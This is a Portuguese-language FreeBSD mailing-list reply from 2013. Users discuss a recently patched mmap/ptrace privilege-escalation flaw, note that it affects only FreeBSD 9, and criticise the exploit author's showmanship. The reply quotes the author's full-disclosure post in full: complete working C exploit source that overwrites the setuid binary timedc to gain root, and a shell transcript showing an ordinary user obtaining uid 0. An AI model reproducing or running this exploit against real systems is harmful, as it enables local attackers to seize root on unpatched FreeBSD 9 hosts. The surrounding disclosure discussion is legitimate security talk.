On Thu, Jun 20, 2013 at 9:29 AM, Marcelo Gondim <gon...@bsdinfo.com.br>wrote:
> É pessoal, > > Sei que a vulnerabilidade foi corrigida agora mas foram 20 anos para > detectar isso? :( > E funciona lindo mesmo o programa. > de onde saiu isso que tem 20 anos? pelo pouco que deu pra ler explora uma falha do freebsd 9 inclusive o security adv so explora o freebsd 9 alguem teve sucesso com freebsd 8, 7, outro? acho que a frase "seguranca de 20 anos atras" foi apenas ironiazinha pelo que vi esse vulnerabilidade nao afeta quem tem debug de processo nao root nem quem tem mac_partition ou bsdextended implementado nego quer é aparecer rss rsss a falha tai, mas não teve 0day inclusive o "ultra mega hacker expert" só fez o exploit depois que o advisory foi publicado, e ainda levou 2 dias pra conseguir explorar o que ja estava documentado e corrigido e vem tirar uma onda de full disclosure... > > > -------- Mensagem original -------- > Assunto: Happy Birthday FreeBSD! Now you are 20 years old and your > security is the same as 20 years ago... :) > Data: Wed, 19 Jun 2013 23:32:59 +0200 > De: Hunger <hun...@hunger.hu> > Para: full-disclos...@lists.grok.org.uk > > > > $ uname -a > FreeBSD fbsd91x64 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec > 4 09:23:10 UTC 2012 > r...@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64 > $ id > uid=1001(hunger) gid=1002(hunger) groups=1002(hunger) > $ gcc fbsd9lul.c -o fbsd9lul > $ ./fbsd9lul > FreeBSD 9.{0,1} mmap/ptrace exploit > by Hunger <fbsd9...@hunger.hu> > # id > uid=0(root) gid=0(wheel) egid=1002(hunger) groups=1002(hunger) > # > > > ============================ code ========================= > > /* > * FreeBSD 9.{0,1} mmap/ptrace exploit > * by Hunger<fbsd9...@hunger.hu> > * > * Happy Birthday FreeBSD! > * Now you are 20 years old and your security is the same as 20 years > ago... > * > * Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op, pipacs, > prof, > * sd, sghctoma, snq, spender, s2crew and others at > #hekkcamp: > * I hope we'll meet again at 8@1470n > * > * Special thanks to proactivesec.com > * > */ > > #include <err.h> > #include <errno.h> > #include <unistd.h> > #include <stdio.h> > #include <stdlib.h> > #include <string.h> > #include <fcntl.h> > #include <sys/stat.h> > #include <sys/mman.h> > #include <sys/types.h> > #include <sys/ptrace.h> > #include <sys/wait.h> > > #define SH "/bin/sh" > #define TG "/usr/sbin/timedc" > > int > main(int ac, char **av) { > int from_fd, to_fd, status; > struct stat st; > struct ptrace_io_desc piod; > char *s, *d; > pid_t pid; > > if (geteuid() == 0) { > setuid(0); > execl(SH, SH, NULL); > return 0; > } > > printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n"); > printf("by Hunger<fbsd9...@hunger.hu>\n"); > > if ((from_fd = open(av[0], O_RDONLY)) == -1 || > (to_fd = open(TG, O_RDONLY)) == -1) > err(1, "open"); > > if (stat(av[0], &st) == -1) > err(2, "stat"); > > if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ, > MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) || > (d = mmap(NULL, (size_t)st.st_size, PROT_READ, > MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) == > MAP_FAILED) > err(3, "mmap"); > > if ((pid = fork()) == -1) > err(4, "fork"); > > if (!pid) { > if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1) > err(5, "ptraceme"); > > return 0; > } > > if (ptrace(PT_ATTACH, pid, NULL, 0) == -1) > err(6, "ptattach"); > > if (wait(&status) == -1) > err(7, "wait"); > > piod.piod_op = PIOD_WRITE_D; > piod.piod_offs = d; > piod.piod_addr = s; > piod.piod_len = st.st_size; > > if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1) > err(8, "ptio"); > > execl(TG, TG, NULL); > > return 0; > } > > > > ------------------------- > Histórico: http://www.fug.com.br/historico/html/freebsd/ > Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd > ------------------------- Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd